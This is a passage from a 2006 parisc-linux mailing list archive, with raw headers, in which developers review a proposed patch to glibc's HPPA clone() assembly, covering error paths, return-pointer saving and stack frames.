+++-=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D-=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D-=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D
ii  gcc-4.0                     4.0.3-1                     The GNU C com=
piler

Thanks,
    Joel
=0A=0A---------------------------------------------------------------=0AA=
 free anti-spam and anti-virus filter on all Scarlet mailboxes=0AMore inf=
o on http://www.scarlet.be/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd: hppa glibc clone() patch proposal (3/3)
Date: Mon, 27 Mar 2006 09:33:44 +0800
Lines: 97
Approved: news@gmane.org
Message-ID: <442740F8.6070408@tausq.org>
References: <IWMNAP$23D07646E4F7FC13AA5E343EDFB71AEA@scarlet.be>		<119aab440603241148k755eb8a1m10982b0538fc2cf3@mail.gmail.com>		<119aab440603241150p3e15057gc23e355732c1dea@mail.gmail.com>		<442467DF.8060309@tiscali.be>		<119aab440603241504m5f1f8a97tebe4110185d5ac4c@mail.gmail.com>		<4424F7EE.7020002@tiscali.be>	<119aab440603251126s3a599718n32759d5ed0dcd8c0@mail.gmail.com>
	<4426D6A6.5050503@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624032 18701 80.91.229.3 (22 Nov 2014 02:40:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Mar 2006 01:34:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 27 Mar 2006 03:34:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9508B7D710;
	Sun, 26 Mar 2006 18:34:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15747-07; Sun, 26 Mar 2006 18:34:11 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E01D7D706;
	Sun, 26 Mar 2006 18:34:10 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 01C377D6F5
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Mar 2006 18:34:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15747-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Mar 2006 18:34:05 -0700 (MST)
Original-Received: from mailhub.stlglobal.com (ip127.bb146.pacific.net.hk
	[202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id C9EA07D6D1
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Mar 2006 18:34:04 -0700 (MST)
Original-Received: from rccomp.stlglobal.com ([192.168.100.200])
	by mailhub.stlglobal.com with esmtp (Exim 4.50)
	id 1FNgc3-00026E-8v; Mon, 27 Mar 2006 09:33:43 +0800
User-Agent: Thunderbird 1.5 (Windows/20051201)
In-Reply-To: <4426D6A6.5050503@tiscali.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: IHcUcBsiTXs9vqyRbmQ5NzVKRzdyMgOT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23503

Joel,

Some comments:

1) I think you are right in fixing the first __syscall_error call. I
don't know why we are doing a b instead of bl now. It seems to be that
the current code will result in an orphaned stack frame if we ever
errored out. However, I see that in the other syscalls, the call to
__syscall_error is inlined. Maybe that would be better.....

2)
>          .text
>  ENTRY(__clone)
> +    /* this proto do: stw rp, -20(sp) */

Yes, you should put "stw %rp, -20(%sp)" here.

> +       /* FIXME: I have no idea how profiling works on hppa. */

Let's leave profiling out of this for now....

> +       /* Sanity check arguments.  */
> +       comib,=         0, %arg0, .Larg_error   /* no NULL function
> pointers */
> +       ldi             -EINVAL, %ret0
> +       comib,=         0, %arg1, .Larg_error   /* no NULL stack
> pointers */
> +       nop

There seems to be some confusion here....

You want clone() to return -1, and set errno = -EINVAL. The logic to do
this is in .Larg_error. Probably better here to just detect the two
error conditions and branch to .Larg_error and handle all the logic there.

>         /* Save the fn ptr and arg on the new stack.  */
>         stwm            %arg0, 64(%arg1)
> @@ -94,13 +102,35 @@
>  #endif
>         /* Set errno */
>         copy            %ret0, %r3
> -       b               __syscall_error
> +       bl              __syscall_error, %rp
>         sub             %r0, %ret0, %arg0
>         copy            %r3, %ret0
>         /* Return after setting errno */
> +       /* Restore rp from ENTRY() */
> +       ldw             -84(%sp), %rp

Right now since you don't store rp, this will give you junk.

> +.Larg_error:
> +
> +       /* Save arg0: the fn ptr.  */
> +       stw             %arg0, -36(%sp)

In the error case, you don't invoke the function, so no need to save and
restore arg0.

> +       /* Save the PIC register? */
> +       stwm            %r3, 64(%sp)

r3 is just a caller-save register; it has nothing to do with PIC. You
don't need to use r3 in this path; just create a stack frame with:
	ldo 64(%sp), %sp

> +       /* Set errno */
> +       copy            %ret0, %r3
> +       bl              __syscall_error, %rp
> +       sub             %r0, %ret0, %arg0

Here, I think you want to do (or inline the __syscall_error logic):
	bl __syscall_error, %rp
	ldi EINVAL, %arg0
	ldi -1, %ret0

> +       /* Restore arg0: the fn ptr.  */
> +       ldw             -100(%sp), %arg0
> +       /* Return after setting errno */
> +       /* Restore rp from ENTRY() */
> +       ldw             -84(%sp), %rp
> +       bv              %r0(%rp)
> +       ldwm            -64(%sp), %r3

and here you can just do:
	ldw -84(%sp), %rp
	bv %r0(%rp)
	ldo -64(%sp), %sp

randolph

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd: hppa glibc clone() patch proposal (3/3)
Date: Mon, 27 Mar 2006 17:59:56 +0100
Lines: 230
Approved: news@gmane.org
Message-ID: <IWSPVW$130BBFD1D2134CD001AE6C41E403D25D@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624032 18703 80.91.229.3 (22 Nov 2014 02:40:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:32 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>,
 tsg45800 <tsg45800@scarlet.be>
To: "soete.joel" <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Mar 2006 17:02:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 27 Mar 2006 19:02:46 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 394727D779;
	Mon, 27 Mar 2006 10:02:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23642-08; Mon, 27 Mar 2006 10:02:42 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 07CA77D784;
	Mon, 27 Mar 2006 10:02:41 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4F9E47D778
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Mar 2006 10:02:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23891-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Mar 2006 10:02:34 -0700 (MST)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id 280957D776
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Mar 2006 10:02:34 -0700 (MST)
Original-Received: from (everest.is.scarlet.be [193.74.71.40]) 
	by guri.is.scarlet.be  with ESMTP id k2RGxu721565; 
	Mon, 27 Mar 2006 18:59:56 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0H5ACaUlbHIyva3NNjQ0MikqJihyapBy
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23504

> > Joel,
> > 
> > Some comments:
> > 
> > 1) I think you are right in fixing the first __syscall_error call. I
> > don't know why we are doing a b instead of bl now. It seems to be tha=
t
> > the current code will result in an orphaned stack frame if we ever
> > errored out. However, I see that in the other syscalls, the call to
> > __syscall_error is inlined. Maybe that would be better.....
> > 
> I just lake of knowledge to do it in asm but if you show me another exa=
mple, I
> could try it ;-)
> 
> > 2)
> > >          .text
> > >  ENTRY(__clone)
> > > +    /* this proto do: stw rp, -20(sp) */
> > 
> > Yes, you should put "stw %rp, -20(%sp)" here.
> > 
> well my comment seems to be bad, I would mean:
>         /* this Entry() macro do a: stw rp, -20(sp) */
> 
> sysdeps/unix/sysv/linux/hppa/sysdep.h
> [snip]
> /* Define an entry point visible from C.
> 
>    There is currently a bug in gdb which prevents us from specifying
>    incomplete stabs information.  Fake some entries here which specify
>    the current source file.  */
> #define ENTRY(name)                                                    =
 \
>         .text                                           ASM_LINE_SEP   =
 \
>         .align ALIGNARG(4)                              ASM_LINE_SEP   =
 \
>         .export C_SYMBOL_NAME(name)                     ASM_LINE_SEP   =
 \
>         .type   C_SYMBOL_NAME(name),@function           ASM_LINE_SEP   =
 \
>         C_LABEL(name)                                   ASM_LINE_SEP   =
 \
>         .PROC                                           ASM_LINE_SEP   =
 \
>         .CALLINFO FRAME=3D64,CALLS,SAVE_RP,ENTRY_GR=3D3     ASM_LINE_SE=
P    \
>         .ENTRY                                          ASM_LINE_SEP   =
 \
>         /* SAVE_RP says we do */                        ASM_LINE_SEP   =
 \
>         stw             %rp, -20(%sr0, %sp)             ASM_LINE_SEP   =
 \
>         /*FIXME: Call mcount? (carefull with stack!) */
> [snip]
> 
> > > +       /* FIXME: I have no idea how profiling works on hppa. */
> > 
> > Let's leave profiling out of this for now....
> > 
> > > +       /* Sanity check arguments.  */
> > > +       comib,=3D         0, %arg0, .Larg_error   /* no NULL functi=
on
> > > pointers */
> > > +       ldi             -EINVAL, %ret0
> > > +       comib,=3D         0, %arg1, .Larg_error   /* no NULL stack
> > > pointers */
> > > +       nop
> > 
> > There seems to be some confusion here....
> > 
> > You want clone() to return -1, and set errno =3D -EINVAL. The logic t=
o do
> > this is in .Larg_error. Probably better here to just detect the two
> > error conditions and branch to .Larg_error and handle all the logic t=
here.
> > 
> Totaly agree, as a first attempt I wonder based that on just reverting =
a
> previous hunk of patch, I will make much effort ;-)
>   
> > >         /* Save the fn ptr and arg on the new stack.  */
> > >         stwm            %arg0, 64(%arg1)
> > > @@ -94,13 +102,35 @@
> > >  #endif
> > >         /* Set errno */
> > >         copy            %ret0, %r3
> > > -       b               __syscall_error
> > > +       bl              __syscall_error, %rp
> > >         sub             %r0, %ret0, %arg0
> > >         copy            %r3, %ret0
> > >         /* Return after setting errno */
> > > +       /* Restore rp from ENTRY() */
> > > +       ldw             -84(%sp), %rp
> > 
> > Right now since you don't store rp, this will give you junk.
> > 
> > > +.Larg_error:
> > > +
> > > +       /* Save arg0: the fn ptr.  */
> > > +       stw             %arg0, -36(%sp)
> > 
> > In the error case, you don't invoke the function, so no need to save =
and
> > restore arg0.
> > 
> Thanks, I would be sure that gcc will not rely on the availability of t=
his var
> in r26 after the function call.
> 
> > > +       /* Save the PIC register? */
> > > +       stwm            %r3, 64(%sp)
> > 
> > r3 is just a caller-save register; it has nothing to do with PIC. You=

> > don't need to use r3 in this path; just create a stack frame with:
> > 	ldo 64(%sp), %sp
> > 
> Yes, I just read jda comment about another thread: PIC register is actu=
aly r19.
> 
> > > +       /* Set errno */
> > > +       copy            %ret0, %r3
> > > +       bl              __syscall_error, %rp
> > > +       sub             %r0, %ret0, %arg0
> > 
> > Here, I think you want to do (or inline the __syscall_error logic):
> > 	bl __syscall_error, %rp
> > 	ldi EINVAL, %arg0
> > 	ldi -1, %ret0
> > 
> > > +       /* Restore arg0: the fn ptr.  */
> > > +       ldw             -100(%sp), %arg0
> > > +       /* Return after setting errno */
> > > +       /* Restore rp from ENTRY() */
> > > +       ldw             -84(%sp), %rp
> > > +       bv              %r0(%rp)
> > > +       ldwm            -64(%sp), %r3
> > 
> > and here you can just do:
> > 	ldw -84(%sp), %rp
> > 	bv %r0(%rp)
> > 	ldo -64(%sp), %sp
> > 
> Cool.
> 
> Many thanks for all your accurate advises,
>     Joel
> 
mmm, a bit busy in prod (unfortunately 2 mirrored boot disk was corrupted=
 ->
hope that ignite tape would help)

please review this next attempt (not yet tested):
# diff -Nau clone.S.orig2 clone.S.New2
--- clone.S.orig2       2006-03-24 10:11:27.000000000 +0100
+++ clone.S.New2        2006-03-27 18:34:54.000000000 +0200
@@ -45,7 +45,27 @@
 
         .text
 ENTRY(__clone)
+    /* this ENTRY() macro do: stw rp, -20(sp) */
 
+       /* Sanity check arguments.  */
+       and             %arg0, %arg1, %r20      /* no NULL function point=
ers */
+       comib,<>,n      0, %r20, .Lno_arg_error 
+
+       /* Create a stack frame */
+       ldo             64(%sp), %sp
+
+       /* Set errno */
+       bl              __syscall_error, %rp
+       ldi             EINVAL, %arg0
+/*     ldi             -1, %ret0 */
+
+       /* Return after setting errno */
+       /* Restore rp from ENTRY() */
+       ldw             -84(%sp), %rp
+       bv              %r0(%rp)
+       ldo             -64(%sp), %sp
+
+.Lno_arg_error:
        /* Save the fn ptr and arg on the new stack.  */
        stwm            %arg0, 64(%arg1)
        stw             %arg3, -60(%arg1)
@@ -94,10 +114,12 @@
 #endif
        /* Set errno */
        copy            %ret0, %r3
-       b               __syscall_error
+       bl              __syscall_error, %rp
        sub             %r0, %ret0, %arg0
        copy            %r3, %ret0
        /* Return after setting errno */
+       /* Restore rp from ENTRY() */
+       ldw             -84(%sp), %rp
        bv              %r0(%rp)
        ldwm            -64(%sp), %r3
 
=3D=3D=3D=3D<>=3D=3D=3D=3D

Some comments:
  1/ I just comment out "ldi -1, %ret0" because imho our __syscall_error(=
) did
it already:
sysdeps/unix/sysv/linux/hppa/sysdep.c:
[snip]
int
__syscall_error (int err_no)
{
  __set_errno (err_no);
  return -1;
}
[snip]

  2/ hope that r20 is a good choice?

Thanks again,
    Joel=0A=0A-----------------------------------------------------------=
----=0AA free anti-spam and anti-virus filter on all Scarlet mailboxes=0A=
More info on http://www.scarlet.be/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd: hppa glibc clone() patch proposal (3/3)
Date: Mon, 27 Mar 2006 14:13:35 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <119aab440603271113h751b7d7el36faff6eef8e9ebf@mail.gmail.com>
References: <IWSPVW$130BBFD1D2134CD001AE6C41E403D25D@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624033 18704 80.91.229.3 (22 Nov 2014 02:40:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:33 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>,
 tsg45800 <tsg45800@scarlet.be>
To: "Joel Soete" <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Mar 2006 19:13:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx028) with SMTP; 27 Mar 2006 21:13:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2D14A7D6D8;
	Mon, 27 Mar 2006 12:13:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24877-06; Mon, 27 Mar 2006 12:13:41 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 69BB27D6E9;
	Mon, 27 Mar 2006 12:13:40 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 97A5E7D6D4
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Mar 2006 12:13:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24797-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Mar 2006 12:13:36 -0700 (MST)
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.229])
	by free.linux.hp.com (Postfix) with ESMTP id DC0507D6D3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Mar 2006 12:13:36 -0700 (MST)
Original-Received: by wproxy.gmail.com with SMTP id i20so1477670wra
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Mar 2006 11:13:36 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=KrNVrfqQ4W/HLED0G+txjD244hCGHgfvJ7/qtD9kwMZzYTWRgVOwIrY4AuJfa0UWFehYKipzeWIOaHFLcg7vcez4Z3XAs4QJH5nGKkcrVUlCSpeA6cn346VVqrO+apvUExMI/EK7xSAxoqv6pNFy57BLwmpCRegFa8OwtXlxXCY=
Original-Received: by 10.64.151.4 with SMTP id y4mr2710913qbd;
	Mon, 27 Mar 2006 11:13:35 -0800 (PST)
Original-Received: by 10.64.143.14 with HTTP; Mon, 27 Mar 2006 11:13:35 -0800 (PST)
In-Reply-To: <IWSPVW$130BBFD1D2134CD001AE6C41E403D25D@scarlet.be>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: VAsRcU4neWU7sreUfHVzcU05U3U4N4+f
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23505

> please review this next attempt (not yet tested):

What source tree is this patch against?

>   2/ hope that r20 is a good choice?

As long as this is a caller-saves register then it doesn't matter.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Max Grabert" <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: linux-2.6 deller (ioremap-changes) and more
Date: Tue, 28 Mar 2006 06:18:34 +0100
Lines: 69
Approved: news@gmane.org
Message-ID: <e6eae0290603272118m1b3b005av3a1d1cbffd1af2f@mail.gmail.com>
References: <IWRUOO$5330BBF8C58E5D93EB8E702EE1864A91@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0060818359=="
X-Trace: ger.gmane.org 1416624033 18706 80.91.229.3 (22 Nov 2014 02:40:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:33 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Mar 2006 05:18:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx081) with SMTP; 28 Mar 2006 07:18:45 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A10E37D6EF;
	Mon, 27 Mar 2006 22:18:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28686-05; Mon, 27 Mar 2006 22:18:41 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F4397D6F6;
	Mon, 27 Mar 2006 22:18:40 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 021627D6EE
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Mar 2006 22:18:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28686-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Mar 2006 22:18:36 -0700 (MST)
Original-Received: from nproxy.gmail.com (nproxy.gmail.com [64.233.182.187])
	by free.linux.hp.com (Postfix) with ESMTP id F113F7D6E9
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Mar 2006 22:18:35 -0700 (MST)
Original-Received: by nproxy.gmail.com with SMTP id i2so976806nfe
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Mar 2006 21:18:34 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:references;
	b=k/1hhuGZ6TX8vscYpKz5MhrsErgK5klL4Ua305d1LSr9xR5ejEKi+8622IHpqkVxp+PEB3nu/FyQ4yBoRRbVDOx+xGI87OBmkQXHTai+YXejAmO86N1rWlWVNdkL7cRKVVlZNBnISacK4V+0XgaQc1+OZ5iV07Ts/Nkr2RZtvcg=
Original-Received: by 10.49.2.16 with SMTP id e16mr335958nfi;
	Mon, 27 Mar 2006 21:18:34 -0800 (PST)
Original-Received: by 10.48.204.7 with HTTP; Mon, 27 Mar 2006 21:18:34 -0800 (PST)
In-Reply-To: <IWRUOO$5330BBF8C58E5D93EB8E702EE1864A91@scarlet.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
